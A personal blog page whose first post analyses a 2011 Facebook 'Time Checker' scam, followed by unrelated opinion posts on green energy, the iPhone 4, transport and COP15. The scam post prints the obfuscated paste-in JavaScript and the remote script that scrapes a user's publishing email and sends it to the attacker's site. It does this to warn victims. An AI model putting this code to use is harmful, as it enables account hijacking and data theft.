Protect yourself against fraud & identity theft on Facebook – FAKE Facebook Time Checker !
Posted by Dan | Filed under Down to Earth News, Material Things, products, services, maintenance
HERE IS HOW MY FACEBOOK PERSONAL PUBLISHING ADDRESS GOT STOLEN:
Update 2011.01.25 – For a complete German language translation you can visit Elias’s blog.
( Using it’s personal publishing address a Facebook user can post pictures and messages by directly sending and email to this address. If someone knows your personal publishing address it can impersonate your and post messages and pictures without your consent, or without you even knowing. This can be very well used by ill intended persons to spam Facebook beyond usability. )
I recently ( 2011.01.18 – around 00:00, GMT ) clicked a link send by a friend of mine on Facebook and … i eventually did do what they said me to do. I was a little bit tired and not very attentive at the job in hand.
The link looked like: ” Ive spent over 132 hours on facebook in my lifetime! Wow that\’s a lot of time wasted! Find out how much time you\’ve spent on facebook here – http://g_o_o.gl/AYkjm” ( “_” in the website name is intentionally added by me here and into the following links to prevent unintentional clicking ). This shortened address “http://goo.gl/A_Y_k_j_m” forwarded me to “http://www.n_e_w_s_1_7_c_h_a_n_n_e_l.com/time/next.php?id=SCiGm_d“. This page I arrived to was called “Facebook Time Checker“. The page was pretending that by doing some “browser magic” i would get as result the amount of time that i have spent on Facebook!
IT IS NOT TRUE ! ONLY FACEBOOK KNOWS THIS THING AND IS NOT PUBLIC !
IT’S JUST A GOOD PRETEXT FOR A THIRD PARTY TO STEAL YOUR PRIVATE INFORMATION !
They advised me to copy paste this Javascript into by browser to check the time i have spent on Facebook up to now.
Here is the Javascript ( DON’T EVEN THINK TO COPY PASTE THIS INTO YOUR BROWSER )
javascript:var _0xbdfc=[
“\x73\x63\x72\x69\x70\x74”,
“\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74”,
“\x73\x72\x63”,
“\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77
\x2e\x6e\x65\x77\x73\x31\x37\x63\x68\x61
\x6e\x6e\x65\x6c\x2e\x63\x6f\x6d\x2f\x74
\x69\x6d\x65\x2f\x6d\x6f\x62\x69\x6c\x65
\x2e\x6a\x73”,
“\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64”,
“\x62\x6F\x64\x79”
];
var script=document[_0xbdfc[1]](_0xbdfc[0]);
script[_0xbdfc[2]]=_0xbdfc[3];
document[_0xbdfc[5]][_0xbdfc[4]](script);
void(0);
I did as they said mostly because i was doing things mechanically at that time…
Then i realised that maybe i did something bad so i started checking what the script was doing.
First i have translated the script into a human readable form:
javascript:var _0xbdfc=[
“scipt”,
“createElement”,
“src”,
“http://www.n_e_w_s_1_7_c_h_a_n_n_e_l.com/time/mobile.js”,
“appendChild”,
“body”
];
var script=document[_0xbdfc[1]](_0xbdfc[0]);
script[_0xbdfc[2]]=_0xbdfc[3];
document[_0xbdfc[5]][_0xbdfc[4]](script);
void(0);
Obviously this appends a java script file located on that remote server to our current session.
Let’s check the mobile.js file:
//Append jquery library
var newjs = document.createElement('script');
newjs.setAttribute('src', 'http://s_o_c_i_a_l_g_i_f_t_s.info/jquery.js');
document.body.appendChild(newjs);
setTimeout(function(){
//Grab post form id and other stuff for posting
if(location.href == "http://www.n_e_w_s_1_7_c_h_a_n_n_e_l.com/time/index.php")
{
alert("Wrong Page. You must paste the script into your browser's\n
address bar on any facebook tab or window.\n\n Then Hit Enter!");
return;
}
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
//grab mobiles
$.get("http://m.facebook.com/upload.php", function(data){
var mydata = data;
var mobiles;
var count = 0;
$($(mydata).find('a').filter(':contains("m.facebook.com")')).
each(function(){if(($(this).text() != undefined)){ mobiles += $(this).text() +";";}});
var clean = mobiles.replace("undefined","");
var cut = clean.slice(0,clean.length - 1);
var insert = cut.replace(/;/g,",");
//Redirect to php inserter which redirects back to next set of steps.
top.location.href = 'http://www.n_e_w_s_1_7_c_h_a_n_n_e_l.com/
time/check.php?get=1&m=,'+insert;
});
},2000);
alert("Time Checker Processing - Please wait 2 seconds and click OK to view results.");
By looking at this file we can immediately recognize that the script will load your uploads.php Mobile Facebook page and then harvest the text between the “m.facebook.com” text.
The text contains your personal upload email.
The last thing the script does is that it sends this email back to the third party website.
They now control your Facebook! Using this email they can post anything to your Facebook page without your permission !!
If by mistake, you, like me, already did all the stuff you are not suppose to be doing … you need to:
!!! GO TO YOUR http://m.facebook.com/upload.php PAGE AND RESET YOUR PERSONAL PUBLISHING ADDRESS !!!
By resetting the address Facebook generates a new one for you ! It’s OK because the attacher has no way to find out your new publishing address!
I really hope people read this in time not to “F”word their Facebook ! If you know other websites hosting this type of attack please let us know ( comments are welcome ). Below is a list with such websites ( “_” added to prevent the risks of an unintentional click ):
- http://www.n_e_w_s_1_7_c_h_a_n_n_e_l.com/
- http://2_2_0.1_1_2.3_6.1_7_8/
UPDATES
2011.01.23 – Seems also German Facebook users are tricked in using this javascript and probably much more users with different languages. In this case if someone has the ability to translate this post into other languages so that others can read this in their mother language we welcome his help. Please let me know if there are such translations and provide us with the appropriate link. I hereby permit anyone to translate the content of this post as long as it’s placing a link to this page in the translated version.
2011.01.24 – Serbian users are also tricked into using a different form of script. I have dedicated another post for this one. The principle is the same. One would insert a JavaScript into browser address bar that loads in turn another more potent script. Searching for internet for more references i have found that this scripts are not so new as i thought they are. The only problem is that this social websites are making this scripts viral. I guess Facebook should implement some system to filter this scripts automatically. It can check the posts of it’s users by some patterns and check also the links their users provide for remains of such scripts. As i know about their Copyright policy they own the rights to do whatever they want with the users content… so this can be no problem whatsoever.
2011.01.25 Elias made an complete translation of my post in German language here. Thanks!
Tags: Facebook, FAKE, fraud, javascript, protection, publishing email, third party, Time Checker
Merry Christmas !
Posted by Dan | Filed under feelings, senses, perceptions, Immaterial Things, relationships, communication, interaction
The wrong ways of “GREEN Energy”
Posted by Dan | Filed under Down to Earth News, earth, water, air, weather, house, constructions, accomodation, life, energy, resources, Material Things, money, wealth, Natural, products, services, maintenance, transportation, storage, Unnatural, work, activities
Lately “Green Energy” has become more than an simple annoyance to my ears. Everybody is talking about that, people on the streets, companies and even governments. People believe that “Green Energy” will solve their energy needs. Companies are banking on this term to sell their products. Governments are using it to reshape the global economy. All this takling and no thinking !
In the following i will give some simple examples on how this “green energy” term is mistakenly and outrageously used:
Solar & wind streetlights ( google images link )
This is a product that should never have existed if people are really thinking at saving the planet and here is why:
- made from components that have a short lifespan ( battery used to accumulate the electricity generated by wind / solar source, moving parts for the wind power part that can be easily damaged )
- low efficency ( small scale wind generator is known to have low eficency and the same for the PV panels )
- components proned to obsolence in a short period of time ( after 10 years nobody will be able to find spareparts for this products )
- needs periodical mentainance ( the PV panel can get really dirty, the solar generator can get stuck )
- high cost of replacing current instalations ( larger holding structures, transportation requirements etc )
- and abundence of polluting agents being used to manufacture this streetlights ( more paint for larger surfaces, more steel to hold the structure etc )
- much better alternatives exists:
It’s easy to see why the real solution is to use the existent street lights, replace the bulbs / heads with LED powered ones and build separate wind and solar farms. Te cost of mainteinance of a solar powered farm is far less than the cost of menteinance of thousands of streetlights with panels attached. The same applies to wind power. It’s easyer to build and maintain a decent windfarm than maintain separate wind generators spread over thousands of kilometers of streets. In fact we are not talking only about maintenance we are talking about the whole lifecycle of this products.
Using the current electricity supply network will also limit the need for batteries inside the streetlight, in fact won’t be required at all!
I only agree with 1 thing when we are talking about solar and wind powered streetlights: are really usefull in remote locations where electricity is not available or the costs to install such electricity are far higher than the costs of installing the streetlights !
So to everybody out there listening:
!!! STOP USING AND MAKING SOLAR AND/OR WIND POWERED STREETLIGHTS !!! Installing such systems in areas with already available electricity network is a useless, money wasting – earth destroying thing !
Solar garden light ( google images link )
The reasons why solar garden light products are in fact more BLACK then GREEN are similar with the ones of the Solar & Wind Stretlights:
- easy to break, materials usually don’t widstand low temperature, humidity, high summer sun, etc
- they require battery to store electricity
- they use a lot of materials when imagine that one LED lamp connected to the house electricity system should be 1 mm thick at most !
- they have poor light quality ( cheap models )
- very low lifespan and fast obsolence
There is no logical explaination that comes to my mind on why should anyone use this product! Everything can be done in a much better way using already available materials and some wiring ( use 24V systems if you are concerned with safety )
That’s it for now ! I will be back and complete this list with more BLACK products in the near future ! See you soon !
Tags: battery, china, humidity, led, obsolence, solar, solar farms, solar garden light, streetlights, temperature, wind farms, wind powered, world
Idea Log – Product availability announced by SMS
Posted by Dan | Filed under education, skills, news, information, Immaterial Things, Material Things, products, services, maintenance, relationships, communication, interaction, Unnatural
I have read for a long time about the fridge of the future that will tell you when you must throw your eggs, will contact the shop and replenish your vegetables while you are asleep … While i am sure tests have been made there will be some time until such products go into mainstream production. Heck … i don’t even want one of those products. Why should anybody but me know what’s in my fridge ?
Yet i would like to see new technology put to a better and simpler use. Me and my wife love to eat fresh fresh mozarella. But this is a very big inconvenient while living in China. There are some Carrefour stores around here but they receive such products erratically.
I would love to be informed by SMS when such products hit Carrefour or other retailer’s shelves. The same idea can apply to any type of product.
The system is so simple that i don’t really know why nobody implemented it up to now! ( as far as i know ) Each product has a unique identifier. They can maintain a database that contains records of a phone number and it’s corresponding product ID. Subscription can be done on the spot while unsubscription is even simpler … done remotely by SMS. The phone number might not be linked to any other data from consumer thus preserving privacy!
As a programmer i can also do this myself or lead a team of programmers to do it on a larger scale. If you are interested just contact me at dan@usefulfor.me
Hoping that this will be done eventually,
Dan
Tags: idea log, product availability, retail, SMS
Protel 99 SE on Windows 7 / Vista
Posted by Dan | Filed under education, skills, news, information
As i am a programmer in most of my working time i come across problems and i try to find solutions for this problems.
Recently someone sent me a Protel 99 SE DDB file and ask me to review the schematics. I installed Protel 99 SE and i could not open the SCH document.
I have searched using Google to find some some solutions and came to discover that there is something about compatilibility with Windows 7 / Vista etc.
I had disabled UAC “User Access control”, checked directory and files rights, started the app as administrator, disable the “hide file extensions for known file types” in windows files settings. Nothing seemed to work.
Then i realized something:
1. My windows 7 boot partition was on drive D:
2. I have installed Protel 99 SE as defaulted to C:
I quickly uninstalled everything and installed it again on Windows partition… ( D: in my case ) … and voila !
I was able to edit SCH documents once again ! It took me few long hours to discover the problem and i hope i might help someone else by posting it!
Tags: compatibility, protel 99SE, windows 7
Down to Earth – iPhone4
Posted by Dan | Filed under Down to Earth News
Update: as the first person that commented on this post pointed out the reality and effects of iPhone 4 “death grip” is more complex and requires more in depth attention than i’ve portrayed in the following. The assumption that i have made that GSM and 3G increase their transmit power based on received signal strength seems to be wrong so keep in mind that while reading. I would still like to have some concrete measurements of SAR while someone performing the so called “death grip”. If someone does that please do inform me !
Hi! I have just remembered that i do still have a blog to write to … The subject is by far the worst subject i could choose for now but … I have read a lot of news about iPhone 4 lately and i feel compelled to follow up.
The story is like this:
- iPhone 4 has been released by Apple while knowingly skipping the testing part
- Consumer Reports & others reports … SKIP IT, it does loose signal while holding it the wrong way
- Apple deletes posts on forum about this issue
- Others provide solutions … iHand ( a must click )
- Everyone expects a recall… Apple gives for a BUMPer for FREE ( until 30 sept., after 30 sept the phone will be obsolete ) and a FREE press conference
Along this stories i have not seen the most important aspect regarding the iPhone 4 loss of signal. One that is a basic facts about any mobile phone in the world.
If the signal ( reception of the phone is low ) the phone will automatically try to compensate for the loss increasing the power it uses to transmit. If the signal drops to zero as the tests have shown in iPhone 4 case, the phone will use it’s maximum power to transmit ( while in a call ) and thus microwaving your brain multiple times faster than a normal phone in normal conditions. So in fact the problem is not that the phone looses signal, or isn’t working properly… the problem is that this flaw affects the users more than they know and they should be warned about that.
In such case iPhone 4 should not be able to pass any SAR value tests in any country … but hey ! … SAR value tests does not take into consideration the way the way a real person holds the iPhone 4 ( touching the antenna ) and yes … they do use a iHand to test the phone not a flesh and blood human hand !
If by chance you survive, the signal loss will force you to talk less … and use the phone less as the battery will deplete faster and age faster over time.
Keep in ming that I am now saying that i have done any tests whatsoever or i am right. It’s just my opinion that others should confirm or infirm. In fact i am a happy owner of an iPhone 3G and i intend to keep it that way until number 5.
Tags: Apple, Consumer Reports, death grip, FREE bumper, FREE press conference, iHand, iPhone 4, microwaving your brain
Improve your transportation habits
Posted by Dan | Filed under awearnes, earth, water, air, weather, education, skills, news, information, Immaterial Things, life, energy, resources, Material Things, Natural, transportation, storage, Unnatural
Transportation it’s one of the main pollutant sources on a global scale and one of the biggest CO2 sources.
This is mainly because we rely on non renewable, polluting sources to power our cars and other means of transport.
You can also consider the short lifetime of a car, that has become even shorter nowadays, making the car disposal one big pollution problem.
The simplest and easiest way to minimize the pollution generated by transportation is to travel less. Every consideration we take should be based also upon our needs and upon the usefulness of such needs.
A. don’t use cars for short distances when you can easily take a walk and be more healthy. If you are in a hurry you can use a bicycle instead. Because we usually travel very short distances and we do it often not using a car will have a important and good impact on our environment. Maybe some people interested in this will be able to calculate exactly the amount of pollution generated by short distance travel compared to long distance.
B. don’t use cars when there are alternative ways to travel like metro, buses and other public transportation means. You can easily understand how much we can benefit from a bus full of people than from a street crowded by cars. You can effectively use more than 90% less energy and generate even less pollution by doing this;
C. try to think more about how to solve your problems without traveling to the required place. Phone & Internet are valuable tools in our times, don’t forget about them;
D. take into consideration the petrol/gasoline consumption when buying a car and think not at what the car will do for your image, but at what you can do for your planet;
E. if possible buy cars that use alternative power sources like hybrid cars etc;
F. buy common car models – even if you want to stand out from the crowd, buying cars that are similar with the cars that you see everyday on the street can help producers optimize the production process, minimize environmental impact, arrange a better end of life recycling process;
G. Choose train/metro over other means of transport whenever it is available. You can use train over plane even if you will have to travel a few hours longer. You can always read a good book while travelling by train 🙂 ;
H. Use air transport only for intercontinental or very very long distance flights over seas or continents. I think this is the only justifiable times. Air travel is the highest pollutant ( CO2 ) mean of transport by far;
I. Plan your routes carefully. Careful planning can save you a lot of time and can also greatly reduce the impact your travel has on the environment. Avoiding a traffic congestion will save you time and you will use less petrol. You can find out about traffic congestions on your local radio station. You can also use mapping software as Google Earth to plan your route. Don’t be afraid to choose a new route just because you don’t know it. You will get used to find your way faster and better if you have some confidence;
This is an open list and I would love to have new additions to it from you, my readers so if you do think you can add something to this list that you consider important please comment !
Tags: alternative energy, bus, car, common car models, LPG, metro, petrol, route planning, train, tranportation, transportation habits
“El laberinto del fauno” and what history tells us
Posted by Dan | Filed under awearnes, earth, water, air, weather, education, skills, news, information, feelings, senses, perceptions, life, energy, resources, memories, keeping memories, what is important
I usually don’t watch movies and I almost never watch Spanish, French or any other non-English movies.
Yet i think El laberinto del fauno is one of the best movies ever made.
I won’t review it as words are to poor to better express the feelings i have felt.
Sometimes, somebody needs to remind us to think, to be awear of our short life among humans. We need to be awear about the responsibility we bear to preserve the planet for our future generations, and what is better to awake us than the knowledge about our history told in superb, heart-changing way.
History teaches us many things. We just have to listen:
Stefan cel Mare a great Romanian leader from the past once said: “Moldova n-a fost a strămoşilor mei, n-a fost a mea şi nu e a voastră, ci a urmaşilor voştri şa urmaşilor urmaşilor voştri în veacul vecilor” ( translated roughly to: Moldavia was not my ancestors’, was not mine and is not yours, but belongs to our descendants and our descendants’ descendant to the end o time ).
We can now say, during our times “Earth was not my ancestors’, was not mine and is not yours, but belongs to our descendants and our descendants’ descendant to the end o time“. Are we living our lives believing this or we are selfish enough to say the contrary?
Tags: awearness, earth, education, end of time, feelings, future, history, Moldavia, movie, planet, Stefan Cel Mare
COP15 Copenhagen, it’s legacy and a possible solution
Posted by Dan | Filed under body, health, sports, earth, water, air, weather, food, animals, plants, house, constructions, accomodation, life, energy, resources, money, wealth, Natural, products, services, maintenance, transportation, storage, Unnatural, what is important, work, activities
I have watched the developments of COP15 theese days and it seems to me even more talks are requred to get the world in tune with the “climate change song”. Yet i have seen unprecedented will and unparalled actions from people getting together and organizing for common goal. There are 2 more days until the end of COP15 but a final treaty is just some steps more to go, sadly more than 2. I hope the needed steps will be swiftly taken after the ending of Copenhagen summit.
Sadly i watched as the lack of consensus needed to take a firm decision is bringing negotiations to a halt. The reasons to this possible “failure” i think are lying in the complicated perspectives we are seeing this matter. We need to simplify things, brake them down to the basics and then start building. An old Romanian myth is about an architect called Manole that tried to build a beautiful cathedral. He tried many times but what he was building daytime at night time was crumbling. God told him he had to sacrifice his wife to get the cathedral finished. He did this as God told him sacrificing his love to build a greater thing. This is what we have to to. We have to sacrifice a part of our life, sacrifice some of our pleasures so we can have a brighter future!
And now please let me explain why Copenhagen was not as successfull as it was really needed and to talk futher about a possible solution.
I. COP15 between success and failure
The developments from COP15 summit in Copenhagen gave me the following impressions:
- officials have tried to cap emisions based on different strategies
- CO2 / capita and any other per capita calculation method
- the current development status of countries
- we have seen that other past treaties are too complicated to follow;
- countries have different or even colliding interests even when life as we know it is at stake;
- some officials propose a carbon tax as a solution at least to climate change but plain taxes are not so easy to agree upon and as long as this tax is not addopted by everyone it’s almost useless;
- i guess they are concentrating too much on CO2 and they forget about other hazards;
- developed countries preffer to give money in forms of ( OTM – One Time Money ) policies and fail to see that their money are nothing more than a mere patch to a global disease. Our planet is not about how many billions of dolars we spend up to 2012 for it’s reabilitation. It’s about how we plan for a future, continuous rehabilitation for generations to come.
Where are the week points of all the strategies? In my opinion all the strategies used in developing this treaties/theories are easily, too easlity to counterattack with fairly good arguments. There are too many arguments on each side that make the negotiations a hard process and almost guarantee that countries, in the eventuality of signing a treaty will, maybe, fail to implement it. Other aspect of the Copenhagen negotiations is the fact that now people fear about the CO2 … but aren’t some other pollution problems even more stringent ? We forget about the islands of trash in our oceans ? We forget about the never ending garbage accumulating near our cities ?
About the proposed “caps” I even go as far as thinking about the fairness of such capping / capita when we talk about a countries latitute and longitude and it’s climate. A very good example is the latiude factor. As countries are located further away from ecuator the need for heating energy during the winter is greater.
If we are to judge people having equal rights regarding polution we would find ourselves into a dillema. Aren’t people living in countries with overall cold temperatures more entitled to use more energy for heating than the ecuatorial people that need virtually no heating at all ? Some friend told me tere are people using around 20 tons of pertrol to heat their house each winter. While i find this amount outrageous is someone entitled to pollute because his envoroiment requires it ? We can even start to ask some really existential questons by going this path. We can easily extrapolate this theory to any country’s resources and location. Some countries don’t have enough drinking water yet there are located near oceans or seas … should they be allowed to use more energy and in turn produce more CO2 to to get their necessary water from the ocean ?
As existential questions are not answered for milleniums … i think COP15 will have the same fate unless we change our perspective.
II. A possible solution
II.A. A background on pollution and the way we can translate it to usable and useful numbers
The overall pollution and of course CO2 is generated by the products we use and by the services we need.
- Products
- we can easily check the composition of a product ( the raw materials ) – companies are already doing this due to customer concerns, production charts, methods etc.
- we can easily know or approximate the energy required to assemble the product and in turn it’s enviroimental impact
- “product” is a broad spectrum including the utilities like power supply etc, even water if required special polluting treatments to be usable ( even the checks made by laboratories are polluting proceses )
- Services & Processes
- we can easily check the energy and waste required to perform a service and translate it into a “pollutant indicator“.
What will be the values used for ? At the begining we can calculate this numbers based on CO2 production then we can extrapolate this to other types of watste making the method more and more efficient.
I will use the term “pollutant indicator” ( abbreviation PI ) a number that indicates the level of pollution / CO2 included, generated to produce a product and by it’s beeing.
Each raw material, process, sevice incuded in the production of one product, we will call it a “base component” ( abbreviation BC ).
BC will have indexes of pollution attached to them named BI indexes. The energy and the pollution required to produce X grams of BC ( plastic, paint etc ) in one country is a calculable, measurable thing, nationwide. The same with paint, water etc . Each country has different energy requirements to produce the same amount of plastics, paint, etc depending of it’s main industry players and other factors.
By adding such BI indexes we can calculate the exact PI for each product. An example would be the common shampoo bootle. The bottle can contain ( X grams plastic, Y grams paint , Z Grams shampoo made from Z Grams water, Z Grams olive oil extract, etc ) . We can add the BI indexes of Z grams of oil etc … and have a resulting PI.
So now we have a number that we assign for each product to correctly quantify it’s production energy needs and it’s impact on the enviroiment.
This number will not include the product disposal energy and pollutioin requirement. We will get back to this later on.
This might not be a perfect representation of the pollution implied by one product but i think is the only one we can easily calculate and won’t make our head spin.
II.B. The “Enviroiment Impact Tax”
So … we basically need to “tax” all products to create a fair economical and enviroimental climate. How would be fair to tax all products in all the world and whom will benefit from this tax ?
This tax would be a country wide tax … or, if one country wishes the tax levels could be breaked down for different regions but the countrywise tax levels would still be the same.
How this tax will be imposed? The tax will be imposed based on PI of each product.
How can you break the tax to different levels in different regions don’t similar product have similar PI ? Right but … if needed, each regions ( let’s say California in US ) would calculate the BC levels based on their local companies and data. Thus regions will have varying BC yet at a country level the amounts will be the same. ( amounts of PI used to produce the products ). There might be a problem here thow. Let’s say we are in a region/country with a very low tax on some product. One could make a company there that pollutes a lot and would benefit from the low tax rate. But the problem is only technical and short tearm. Usually the products have many BC indexes so the PI won’t suffer to much because of this. The tax will be then modified yearly and if such a bad company would strive the effect will be bad for all the companies in the same sector and the goverment will be able to then check why the levels of BC indexes increased and then take the appropriate measures against the said company. So on a long term this will have barely no effect. But the best economcal effect is yet to be seen. Companies will distribute their production plants better in the teritory/world to benefit the low taxes. Once they will make plants in a said place the tax will increase giving other countries less developed the next step.
What will be the BC indexes update schedule ? Because we live in fast developing times, it’s only normal that the BC indexes to be calculated on an early basis to reflect the exact developments in the teritory.
Where the money from the tax will go ? This tax … as it is only practical will replace existent enviroimental tax levels imposed by countries on product by product basis. The surpplus of money collected will go into enviroimental programs, either educational or even other type of big projects and … into the product disposal product disposal programs that i was talking you about earlier. Product disposal requirements are vast and cannot be really calculated based on the production costs. Product disposal is only efficient when it’s done in large quantityes so should be the goverment task to arrange efficient product disposal ways and fund this projects from the Enviroiment Impact Tax.
Who will have to pay the tax ? The end user of the product based on his the consumption amount. ( let’s say will be similar to VAT in certan accounting ways )
How the levels of this tax would be calculated ? This is a far wider topic to discuss it here and i am sure people interested in this topic can further talk about this subject. I only want to point out 2 things:
- Adjustments – ajustments can be made depending on industries, deveoping indexes, and any other factors countries can agree upon.
- Reference – because this will be a global tax ( all countries in the world must impose it ), it is only fair to have a reference that all should aknowledge. Because we are talking about “saving the planet” the reference on the calculation of the PI for each product based on the BC components will be the country(s) with the best levels of BC pollution indexes. So … thoose countries would have to pay no tax for the specific BC indicator ( BC index will be 0 ( zero ) where 0 means the best country having the best indicator ) in turn there will be no tax for the products that incorporate mostly BC indexes with 0 levels. Is such a reference fair ? We want to be better and we must have a better country as reference. If for example one country would become better than the aknowledged reference then we can safely say we have a new reference and so on.
How is it possible to have a zero product tax ? Yes will be possible in a country where the BC required to produce a product will be 0 and the services required to product those product will have the same 0 index.
How about the developing countries ? First of all this tax will be collected by goverment for goverment usage. The money will not go to another country. Ok, but this implies that products made in India will be more expensive and harder to export because the country dosen’t have the same technlogy as other developed countries. Yes and this is why we need to make an ajustment to the tax so it can be fair to both developed and developing nations in the same time.
How to make such an ajustment that would be fair to developed and developing countries in the same time. Is is possible ? Will the calculation of the tax be a subject to disputes because of this ? Where the adjustment muse be made ? It is possible to make such adjustments for the benefit of all including our planet’s benefit. We need to adjust the BC indexes not the tax itself. How? Easy. We need to calculate the amount of investment rich countries have already made in their sectors over a perious of let’s say 20 years. This amount of investments in fact amounted for a proportionate sum of pollution already produced before this tax will go into being. The amount of this will be of course in direct link with the industry’s output. Righ countries will have a bigger investment number than developing countries. In turn we can use this number to inversly adjust the BC indexes. Thus rich countries will have a bigger tax increase than developing countries. As developing countries develop the this number’s will level off.
What will be the interests of developing countries to respect such tax? Developing countries would want to develop cleaner ways to produce their products to minimize the PI of their products. Even if this means the increase of PI due to the compensation factor getting higher for them the most important is not this
compensation factor” ( abbreviation CF ) because it’s controlls only a part of PI. Their main goal will be to reduce the bulk of PI by investing into technology.
What will be the interest of developed countries ? The interest of developed countries well be obvious … they would have likely lower prices on some technlogical products what will alow them to fairly trade with poorer countryes.
What will be the interest of the world ? Everybody will benefit from this tax as people will try to buy less taxed products meaning less impact of our enviroiment.
While this Enviroiment Impact Tax proposal of mine still has many flaws it does solve some big ones.
II.C. Comparison between the Enviroiment Impact Tax and other methods
I will only point our some of my main conclusions and let you discover the rest:
- Enviroiment Impact Tax is less prone to flaws than any of the proposed methods to fight climate change in Copenhagen summit. There are some points that can be argued but much less “existential” and easier to understand then carbon tax or capping.
- Enviroiment Impact Tax will reflect more clearly the current situation because it can include as many pollution factors as needed.
- Enviroiment Impact Tax has answers for both developed and developing countries giving both incentives to be better and to invest in more efficient technologies.
- Enviroiment Impact Tax will elimnate the war of “dumping and trading taxes” imposed by some governments. Countries will not need to put additional taxes on the products that enter their teritory because those taxes will be already in place upon the exit of the goods from the original country in a fair and quantifiable manner.
What we have learned from this summit ? What will be the message for the generations to follow ? I don’t think is too early to say even if maybe the negociations are not completed we need, we really need to know some things. Even if some countries ( leaders ) will want the summit to fail for some reason on another, everybody must continue to protect the environment without looking at their neighbours for support if this support is not available nor welcomed. The world won’t end with the end of Copenhagen summit but we will suffer for sure because of our leaders’s decisions today. No matter the outcome of COP15 and any other summits to follow, we must continue our role in the great order of things. We must heal the planet on a personal level, starging from our home and we must spread the message to our leaders that climate change is not a political issue, is beyond politics and stretches beyond money they are willing to invest up to 2012 or any other year.
I hope the article was not as boring as i imagine it could be for some of you and i hope you’ve found it’s usefulness at least from some points of view. In the same time I strongly hope some of you are in the position to use this information and make our world a better place. In order to guarantee that i urge anyone whom agrees with what i’ve wrote here to send links of this article to freinds, familty and everyone whom he thinks will be interested in this subject.
Tags: anti-dumping taxes, better place, calimate change, COP15, Copenhagen, Enviroiment Impact Tax, negotiations, trade wars, world
Psychoanalysis – About the existence of repression as a conscious, voluntary mechanism
Posted by Dan | Filed under awearnes, feelings, senses, perceptions, Immaterial Things, memories, keeping memories, new, unknown, relationships, communication, interaction, what is important
Today by chance i Google-Booked a book of psychoanalysis called Psychoanalysis (Its Evolution & Development) By M. Asch, page 64-65 – Unconscious Processes and Repression
Conclusions about hysteria ( short excerpts from the book to witch i adhere ):
- “A hysterical symptom represents a forgotten memory”
- “The forgotten memory is in some way expressed by the symptom”
- “No hysterical symptom exists without a forgotten memory”
And this made me think … What generated the process of forgetting ?
Breuer’s theory concernes mainly about the states of edge of sleep, monotonous employment, situations creating a state of twilight state. Freud in turn believed that an accidental state is not enough. The called the process repression.
My opinion is that Breuer’s part of the theory is correct and that in such states, similar with states that i have experienced, the mind is so fragile, with it’s defenses ( rational thinking ) at a minimum. Any disturbing thought or interaction ( image, sound, etc different from the general state ) can trigger memories to drift into unconscious. But things don’t stop here … there are also some diametral opposite effects: the “disturbing” interactions can also trigger the transfer of imaginary illusions to direct conscious memory integrating incorporating the “disturbing” interactions into it’s primary reality logics, thus making the thought palpable.
Usually induced states ( sometimes i was trying to induce states like this while reading fantasy books to benefit from the integration of my thoughts into the plot of the book ) are partially harmless because all the subsequent memories will be tagged by the brain accordingly, but i have experienced some cases in witch i had to convince myself of the lack of veridicity of memories induced like this. Unintentional induced states are far more dangerous. Thus i consider that Freud process of repression or at least how he defined it it’s a too far stretch from the real facts.
Going with things further i believe that this has also something to do with the fact that humans are social beings. By interacting with each other in logical ways we keep the appearance/formation of this states to a minimum, states that everybody, even if only unconsciously, has felt and “fear” in some form. So being kept away from society can have the same effects and uses the same “means” as a continuous state of twilight.
Today, 7’th of December 2009 i have presented this ideas to one of my good friends, George. I told him about possible ways to enter the “twilight” states like repetitive actions and he in turn told me a really interesting thing. Back at his college they made some trials with people asked to repeat the same word for more than 200 times. Turns out that those people, after repeating the world for more than 200 times, will experience strange modifications in their perception of the word. Some of them will even forget the true meaning for some basic words and consider that the word don’t exist at all. Interestingly this discovery fits perfectly with my views on repressing memories making clear that basic words and meanings can be repressed using the simple method of repetition for a high number of times.
Tags: conscious, psychoanalysis, repression, twilight, voluntary
